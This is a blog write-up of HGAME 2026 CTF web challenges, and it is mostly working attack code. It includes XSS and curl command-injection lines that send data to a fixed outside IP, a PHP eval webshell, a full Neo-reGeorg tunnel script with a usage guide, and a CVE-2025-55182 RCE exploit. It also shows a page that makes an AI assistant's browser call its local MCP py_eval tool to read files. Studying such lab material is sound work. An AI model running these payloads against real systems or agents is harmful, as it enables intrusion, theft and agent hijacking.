mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6
2388 字
6 分钟
HGAME WP
2026-03-02

魔理沙的魔法目录#

抓包发现/record路径和/check路径

POST /record HTTP/1.1
Host: forward.vidar.club:31238CVE-2025-30208
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Authorization: aa3fc526-2efe-4855-bbb8-383ac96d6702
Origin: http://forward.vidar.club:31238
Content-Type: application/json
Accept: */*
Referer: http://forward.vidar.club:31238/
Accept-Encoding: gzip, deflate
Content-Length: 11
{"time":6000}

直接修改到超过规定事件后发送请求,就能拿到flag

Vidarshop#

随便注册一个账号,登录后发现发token了,是jwt token

用hashcat爆破一下

Terminal window
hashcat -a 0 -m 16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciIsImV4cCI6MTc3MjQzMzI3N30.3An1kFpOTGfpQm_xt1yoXElP2zBjQsqOhF2DjI3Mv4o ./rockyou.txt #这里是你字典的地址

得到key是111

伪造好jwt后发现我们的role还是user,这代表还有其他方式验证用户,这时抓包发现一个特殊的请求头uid

image-20260302144125570

这里我没有得出这个uid的构造方法,ai推导出来了

通过注册多个用户,分析UID生成规则:

  • ctftest999 -> 32062051920999
  • testuser888 -> 20519202119518888

发现规律:每个字母转换为其在字母表中的位置(a=1, b=2, …, z=26),数字保持不变。

因此admin的UID为:1413914(a=1, d=4, m=13, i=9, n=14)

回显中得到这个是一个基于flask框架的web,而且/api/update路径下又刚刚好有原型链模板

这就不得不让我想到刚学会的flask原型链污染了

payload:

POST /api/update HTTP/1.1
Host: forward.vidar.club:31913
Content-Length: 51
uid: 1413914
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxNzcyNDM1MzIwfQ.6HF8gsU5VV1_9K466ESIfQBNdJY338EREvw1yqoK_2E
Content-Type: application/json
Accept: */*
Origin: http://forward.vidar.club:31913
Referer: http://forward.vidar.club:31913/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{"__init__": {"__globals__": {"balance": 2000000}}}

直接修改balance获取足够的钱,然后买下flag

博丽神社的绘马挂#

灵梦为了增加参拜人数,在神社设立了绘马挂,人们可以在这里许愿🙏

但是灵梦在整理这些绘马的时候不太用心,出现了一些问题…而且她没有发现紫在归档完毕的绘马里藏了一些不可告人的秘密

打开环境类似于论坛,很像啊,简直就是aurora新生赛原题,同款XSS

我用的是出网外带的方法

payload:

<img src=x onerror="fetch('/api/archives').then(r=>r.text()).then(t=>{new Image().src='http://81.71.18.95:8000/?leak='+btoa(unescape(encodeURIComponent(t)))})">

image-20260302152524862

image-20260302152536226

这个是官方payload:

<img src=x onerror="fetch('/api/archives').then(r=>r.text()).then(t=>{fetch('/api/messages',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({content:'ARCHIVE:'+btoa(unescape(encodeURIComponent(t))),is_private:false})})})">

MyMonitor#

内存池污染

当普通用户在/api/user/cmd路径下发送一个缺失cmd头的请求时,会把你的args直接拼接到/api/admin/cmd

路径下让admin执行(大概是这个意思)

于是可以得到payload

{
"args": "; curl http://81.71.18.95:8000/$(cat /flag)"
}

image-20260302163849072

(flag还在感叹号后面加个0,长得那么ex,还得我交了几次都没过image-20260302163950779

My Little Assistant#

给了部分源码附件

from fastapi import FastAPI, Request
from fastapi.middleware.cors import CORSMiddleware
import json
app = FastAPI()
app.add_middleware(
CORSMiddleware,
allow_origins=["*"],
allow_methods=["*"],
allow_headers=["*"],
)
async def py_eval(code: str):
try:
local_vars = {}
exec(code, {}, local_vars)
return {"result": str(local_vars), "status": "success"}
except Exception as e:
return {"error": str(e), "status": "failed"}
def check_url(url: str) -> bool:
if (url.startswith("http") == False): return True #验证是不是http头的网址
return False
async def py_request(url: str):
if (check_url(url)):
return {"error": "Unsafe URL"}
from playwright.async_api import async_playwright
try:
async with async_playwright() as p:
browser = await p.chromium.launch(
headless=True,
args=["--no-sandbox",
"--disable-dev-shm-usage",
"--disable-web-security"]
)
context = await browser.new_context()
page = await context.new_page()
response = await page.goto(url, timeout = 10000, wait_until = "networkidle")
content = await page.content()
result = {
"status_code": response.status if response else None,
"content": content[:300]
}
await browser.close()
return result
except Exception as e:
return {"error": str(e)}
TOOLS = {"py_eval": py_eval, "py_request": py_request}
@app.post("/mcp")
async def mcp_handler(request: Request):
data = await request.json()
params = data.get("params", {})
name = params.get("name")
args = params.get("arguments", {})
if name in TOOLS:
result = await TOOLS[name](**args)
return {
"jsonrpc": "2.0",
"id": data.get("id"),
"result": {"content": [{"type": "text", "text": json.dumps(result)}]}
}
return {"error": "Tool not found"}
if __name__ == "__main__":
import uvicorn
uvicorn.run(app, host="0.0.0.0", port=8001)

就拿这道题练习源码审计了

fastapi是python底下的web框架,和flask一样

async def py_eval(code: str):
try:
local_vars = {}
exec(code, {}, local_vars)
return {"result": str(local_vars), "status": "success"}
except Exception as e:
return {"error": str(e), "status": "failed"}

定义了一个函数,接收code,打包并执行最后将执行结果返还,可以说是关键函数,可以利用它来执行命令

ctfer应该对exec()函数保持警觉,这个函数可以把字符串当作命令去执行,在反序列化中很常见

local_vars:当 code 这段字符串被当成代码跑完之后,代码里面定义的任何变量、计算的任何结果,都会被自动塞进刚才准备好的那个“空篮子” local_vars 里面。这样我们额外执行的命令也会被封装

@app.post("/mcp")
async def mcp_handler(request: Request):
data = await request.json()
params = data.get("params", {})
name = params.get("name")
args = params.get("arguments", {})
if name in TOOLS:
result = await TOOLS[name](**args)
return {
"jsonrpc": "2.0",
"id": data.get("id"),
"result": {"content": [{"type": "text", "text": json.dumps(result)}]}
}
return {"error": "Tool not found"}

看看这个路径对应的函数

requestbody内容装入data中,同时判断这个body中是否有params,argugment,有的话提取出来

检查name是否在TOOLS中,如果在就执行下面的操作……调用对应函数再返还一些东西?

所以这道题我们就需要利用这个ai助手自带的浏览器来调用py_eval函数执行我们的命令,最后封装进local_vars里打包给我们

payload如下:

<!DOCTYPE html>
<html>
<body>
<h1>hello</h1>
<script>
const pyCode = "import os; f = os.popen('cat /flag').read()";
const payload = {
"params": {
"name": "py_eval",
"arguments": {
"code": pyCode
}
}
};
fetch("http://127.0.0.1:8001/mcp", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify(payload)
})
.then(response => response.json())
.then(data => {
// 解析返回结果。
// data.result.content[0].text 是一个 JSON 字符串,类似 "{'result': \"{'f': 'flag{...}'}\", ...}"
// 我们直接把它全部显示在页面上
document.body.innerText = "FLAG_RESULT: " + JSON.stringify(data);
})
.catch(error => {
document.body.innerText = "Error: " + error;
});
</script>
</body>
</html>

将这个test.py放到我们的vps上再在vps上开个http服务

Terminal window
python3 -m http.server 80

之后让ai访问它

![image-20260303120737292](./assets/image-20260303120737292.pngimage-20260302182118404

easyuu#

文件上传

抓包发现一个/api/list_dir路径

image-20260303125016010

发现一个zip文件,尝试去下载它

image-20260303125500005

路径穿越但是需要url编码

下载出来是项目源码,开始源码审计

image-20260303125711655

看不懂喵,丢给ai了

RCE 触发点:恶意的自动更新监听器#

main.rs 中,服务器启动了一个后台任务 update_watcher(),每隔 5 秒循环一次。这个监听器会尝试执行 ./update/easyuu --version 来检查更新:

Rust

let output = Command::new("./update/easyuu")
.arg("--version")
.output()
.await
.ok()?;

如果执行该二进制文件后输出的字符串能够被解析为高于当前 CARGO_PKG_VERSION 的合法语义化版本号(SemVer),程序就会用新文件替换自身并重启。

利用思路: 结合这两个漏洞,我们可以上传一个自己编写的恶意可执行文件到 ./update/easyuu 路径覆盖原有的更新程序。服务器每 5 秒就会自动帮我们执行它一次。

在linux虚拟机上写一个C程序

#include <stdio.h>
#include <stdlib.h>
int main(){
system("env > /app/uploads/env.txt")
}

然后执行得到二进制文件

gcc 1.c -o 1

上传二进制文件,抓包时修改文件名

image-20260303144618508

上传成功后它就会执行,在/uploads上映出一个env.txt

下载就能看到flag了

不知道为什么,我用burpsuite抓包就不行,换yakit就成了,和那道mio's waf一样

--------------------------------------------------------------------分割线--------------------------------------------------------------------------------------------

找到官方wp了继续复现

baby-web?#

先是一个很简单的文件上传,上传一个一句话木马

<?php @eval($_POST['cmd']); ?>

之后连接蚁剑

image-20260303200558251

但是没有发现flag

查看环境变量还是没有

image-20260303200734096

(nobody:/var/www/html/uploads) $ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
7: eth0@if8: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP
link/ether 02:42:0a:00:00:01 brd ff:ff:ff:ff:ff:ff
inet 10.0.0.1/24 brd 10.0.0.255 scope global eth0
valid_lft forever preferred_lft forever

确认网段:你的当前机器(Webshell 所在机器)的 IP 确实是 10.0.0.1/24/24 子网掩码意味着这个局域网的 IP 范围是 10.0.0.110.0.0.254。WP 里提到的 10.0.0.2 完全在这个网段内,它们可以直接通信。

环境指纹:注意看 eth0@if8 这种网卡命名后缀,这是非常典型的 Docker 容器虚拟网卡特征。这说明你目前拿下的 Web 服务大概率是跑在一个 Docker 容器里的。

接下来可以写一个端口扫描的php脚本来查找是否存在其他服务端口

<?php
// 设定我们要探测的目标端口
$target_port = 3000;
echo "开始扫描 10.0.0.x 网段的 3000 端口...<br><br>";
// 遍历内网 IP,这里为了速度先扫 1 到 20,如果没出结果可以改成 254
for ($i = 1; $i <= 20; $i++) {
$ip = "10.0.0." . $i;
// 使用 fsockopen 进行 TCP 连接探测,超时时间设置为 0.5 秒
$connection = @fsockopen($ip, $target_port, $errno, $errstr, 0.5);
if (is_resource($connection)) {
echo "<b>[+] 发现目标主机开放端口: " . $ip . ":" . $target_port . "</b><br>";
fclose($connection);
}
}
echo "<br>扫描完毕。";
?>

上传成功后直接访问

http://forward.vidar.club:32579/uploads/scan.php

发现其他服务

原本我想直接通过ssh把这个端口穿出来的,但是失败了,这个服务并没有ssh

image-20260303204535188

最后只能采用ai给的办法

NONONO!!!搞半天上传都失败了,后面发现是靶机没了,八嘎!

二次尝试,一个github上开源的连接通道项目Neo-reGeorg

启动这个项目后会生成一系列通道代码,上传php代码后就可以尝试与本地连接

<?php
ini_set('display_errors', 1);
error_reporting(E_ALL);
ini_set("allow_url_fopen", true);
ini_set("allow_url_include", true);
ini_set('always_populate_raw_post_data', -1);
error_reporting(E_ERROR | E_PARSE);
if(version_compare(PHP_VERSION,'5.4.0','>='))@http_response_code(200);
function blv_decode($data) {
$data_len = strlen($data);
$info = array();
$i = 0;
while ( $i < $data_len) {
$d = unpack("c1b/N1l", substr($data, $i, 5));
$b = $d['b'];
$l = $d['l'] - 838292908;
$i += 5;
$v = substr($data, $i, $l);
$i += $l;
$info[$b] = $v;
}
return $info;
}
function blv_encode($info) {
$data = "";
$info[0] = randstr();
$info[39] = randstr();
foreach($info as $b => $v) {
$l = strlen($v) + 838292908;
$data .= pack("c1N1", $b, $l);
$data .= $v;
}
return $data;
}
function randstr() {
$rand = '';
$length = mt_rand(5, 20);
for ($i = 0; $i < $length; $i++) {
$rand .= chr(mt_rand(0, 255));
}
return $rand;
}
$DATA = 1;
$CMD = 2;
$MARK = 3;
$STATUS = 4;
$ERROR = 5;
$IP = 6;
$PORT = 7;
$REDIRECTURL = 8;
$FORCEREDIRECT = 9;
$en = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
$de = "xk5mXYJKWBzHURQseOC78lNhnprSbawtF09VIjLgM1ivdE6GDyPqcTfu42Z+o/A3";
$post_data = file_get_contents("php://input");
if (0 == 1) {
$post_data = substr($post_data, 0);
$post_data = substr($post_data, 0, -0);
}
$info = blv_decode(base64_decode(strtr($post_data, $de, $en)));
$rinfo = array();
$mark = $info[$MARK];
$cmd = $info[$CMD];
$run = "run".$mark;
$writebuf = "writebuf".$mark;
$readbuf = "readbuf".$mark;
switch($cmd){
case "CONNECT":
{
set_time_limit(0);
$target = $info[$IP];
$port = (int) $info[$PORT];
$res = fsockopen($target, $port, $errno, $errstr, 3);
if ($res === false)
{
$rinfo[$STATUS] = 'FAIL';
$rinfo[$ERROR] = 'Failed connecting to target';
break;
}
stream_set_blocking($res, false);
ignore_user_abort();
@session_start();
$_SESSION[$run] = true;
$_SESSION[$writebuf] = "";
$_SESSION[$readbuf] = "";
session_write_close();
while ($_SESSION[$run])
{
if (empty($_SESSION[$writebuf])) {
usleep(50000);
}
$readBuff = "";
@session_start();
$writeBuff = $_SESSION[$writebuf];
$_SESSION[$writebuf] = "";
session_write_close();
if ($writeBuff != "")
{
stream_set_blocking($res, false);
$i = fwrite($res, $writeBuff);
if($i === false)
{
@session_start();
$_SESSION[$run] = false;
session_write_close();
return;
}
}
stream_set_blocking($res, false);
while ($o = fgets($res, 513)) {
if($o === false)
{
@session_start();
$_SESSION[$run] = false;
session_write_close();
return;
}
$readBuff .= $o;
if ( strlen($readBuff) > 524288 ) {
break;
}
}
if ($readBuff != ""){
@session_start();
$_SESSION[$readbuf] .= $readBuff;
session_write_close();
}
}
fclose($res);
}
@header_remove('set-cookie');
break;
case "DISCONNECT":
{
@session_start();
unset($_SESSION[$run]);
unset($_SESSION[$readbuf]);
unset($_SESSION[$writebuf]);
session_write_close();
}
break;
case "READ":
{
@session_start();
$readBuffer = $_SESSION[$readbuf];
$_SESSION[$readbuf]="";
$running = $_SESSION[$run];
session_write_close();
if ($running) {
$rinfo[$STATUS] = 'OK';
$rinfo[$DATA] = $readBuffer;
header("Connection: Keep-Alive");
} else {
$rinfo[$STATUS] = 'FAIL';
$rinfo[$ERROR] = 'TCP session is closed';
}
}
break;
case "FORWARD": {
@session_start();
$running = $_SESSION[$run];
session_write_close();
if(!$running){
$rinfo[$STATUS] = 'FAIL';
$rinfo[$ERROR] = 'TCP session is closed';
break;
}
$rawPostData = $info[$DATA];
if ($rawPostData) {
@session_start();
$_SESSION[$writebuf] .= $rawPostData;
session_write_close();
$rinfo[$STATUS] = 'OK';
header("Connection: Keep-Alive");
} else {
$rinfo[$STATUS] = 'FAIL';
$rinfo[$ERROR] = 'POST data parse error';
}
}
break;
default: {
$sayhello = true;
@session_start();
session_write_close();
}
}
if ( $sayhello ) {
echo base64_decode(strtr("s5XEHCk5rYBrCNyVbL2DONlsnqpvNhknOIOJaXYGbTOrQhUqbL1mlhkzRN2L7JRiecTBQK8uUgl4phjGzPxEH74=", $de, $en));
} else {
echo strtr(base64_encode(blv_encode($rinfo)), $en, $de);
}

但是在这道题中文件可以上传,却无法访问运行。看看报错

Fatal error: Uncaught Error: Call to undefined function session_start() in /var/www/html/uploads/tunnel.php:196 Stack trace: #0 {main} thrown in /var/www/html/uploads/tunnel.php on line 196

💀 为什么 Neo-reGeorg 彻底宣告死亡?#

Neo-reGeorg(以及绝大多数传统的 PHP 代理脚本)的核心原理,是利用 PHP 的 $_SESSION 来维持你的电脑和内网目标之间的 TCP 数据流状态。如果没有 session_start(),它就像一个失忆的传话筒,连上一秒钟发给谁的数据都记不住,自然直接崩溃报 500。

这解释了为什么你之前传各种代理都会卡死或报错。这也印证了你找到的那份 Writeup 里的一句话:“由于无法从外部直接访问内网服务,上传了一个 PHP 代理脚本,利用 PHP 的 curl 扩展作为 SSRF 跳板访问内网”。

后来发现目前尝试的方法都走不通,就继续翻找官方提供的wp

找到了另外一篇申必ai wp

image-20260304210424949

于是把这个wp喂给ai,让它根据现有的所以信息总结再尝试,给出了下面这个payload

<?php
error_reporting(0);
$target = "http://10.0.0.2:3000/";
$boundary = "----WebKitFormBoundaryAttackPayload";
// 1. 核心 JS Payload (执行命令并把 Base64 结果抛入 NEXT_REDIRECT)
$js = "var f;try{var r=global.require||process.mainModule.require;f=r('child_process').execSync('cat /flag').toString('base64');}catch(e){f=Buffer.from('E:'+e).toString('base64');}var err=new Error();err.digest='NEXT_REDIRECT;replace;'+f;throw err;";
// 2. CVE-2025-55182 原型链污染 JSON
$json = '{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"' . $js . '","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}';
// 3. 紧凑拼接 Multipart Body
$body = "--$boundary\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n$json\r\n"
. "--$boundary\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n"
. "--$boundary\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n"
. "--$boundary--\r\n";
// 4. cURL 极简配置与请求发送
$ch = curl_init($target);
curl_setopt_array($ch, [
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $body,
CURLOPT_HTTPHEADER => [
"Content-Type: multipart/form-data; boundary=$boundary",
"Content-Length: " . strlen($body),
"Next-Action: x",
"Accept: text/x-component"
],
CURLOPT_HEADER => true,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 5
]);
$res = curl_exec($ch);
curl_close($ch);
// 5. 正则提取并纯文本输出
header("Content-Type: text/plain; charset=utf-8");
if (preg_match('/NEXT_REDIRECT;replace;([A-Za-z0-9+\/=]+)/', $res, $m) || preg_match('/x-action-redirect:\s*(.*?)\r/i', $res, $m)) {
echo base64_decode($m[1]);
} else {
echo "[-] Exploit Failed. Raw Response:\n\n" . substr($res, 0, 1000);
}
?>

ai真王朝了,官方发的wp中写了这道题的是ai,最后我复现出来还是靠ai,感觉目前通过这道题就得到下面的收获

  1. 更进一步学习了蚁剑,

  2. 还有对这种出题方式有了更新的了解,

  3. 知道并收录了一个隧道马工具

Neo-reGeorg使用指南#

Neo-reGeorg 是一款经典的基于 HTTP 协议的 SOCKS5 代理隧道工具,常用于渗透测试或 CTF 中,在获取 Webshell 后打通本地与目标内网的流量。(虽然这道题没有用上,但还是总结一下

1. 生成代理服务端脚本#

在本地终端运行以下命令,设置一个加密密码,并生成对应各语言的 Web 脚本:

# -k 参数指定密码
python3 neoreg.py generate -k my_password

执行完毕后,当前目录会生成一个 neoreg_servers 文件夹,里面包含 tunnel.phptunnel.jsptunnel.aspx 等脚本。

2. 上传脚本至目标服务器#

将与目标 Web 环境匹配的脚本(例如 tunnel.php)上传到目标网站的可访问目录中。

  • 测试连通性:在浏览器中直接访问该文件的 URL(例如 http://target.com/uploads/tunnel.php)。如果页面显示空白或一段特定的工具提示,说明脚本解析正常;如果报 404 或 500 错误,需要检查路径或服务器环境配置。

3. 在本地建立 SOCKS5 隧道#

回到本地机器,运行客户端脚本,主动连接刚才上传的 Web 文件:

# -u 指定远程脚本地址,-k 指定刚才的密码,-p 指定本地监听的 SOCKS5 端口(默认 1080)
python3 neoreg.py -u http://target.com/uploads/tunnel.php -k my_password -p 1080

终端输出 [+] Tunnel established 时,说明内网穿透隧道已成功建立。

4. 代理流量漫游内网#

此时,本地的 127.0.0.1:1080 已经是一个通向目标内网的代理节点。你可以配合 proxychains 工具将本地命令行流量代理进内网。

编辑 proxychains 配置文件(通常是 /etc/proxychains.conf/etc/proxychains4.conf),在文件最末尾添加:

socks5 127.0.0.1 1080

配置完成后,在执行内网探测或攻击命令前加上 proxychains 前缀即可。例如:

# 通过隧道扫描内网 10.0.0.2 的常见端口
proxychains nmap -sT -Pn -p 80,3306,3000 10.0.0.2

《文文。新闻》#

最后一题(jvav自动放弃,没学过捏

看了一下wp,太复杂了,感觉我暂时也学不会,也放弃了喵~

分享

如果这篇文章对你有帮助,欢迎分享给更多人!

HGAME WP
https://btop251.vercel.app/posts/ctf/hgame2026/
作者
btop251
发布于
2026-03-02
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时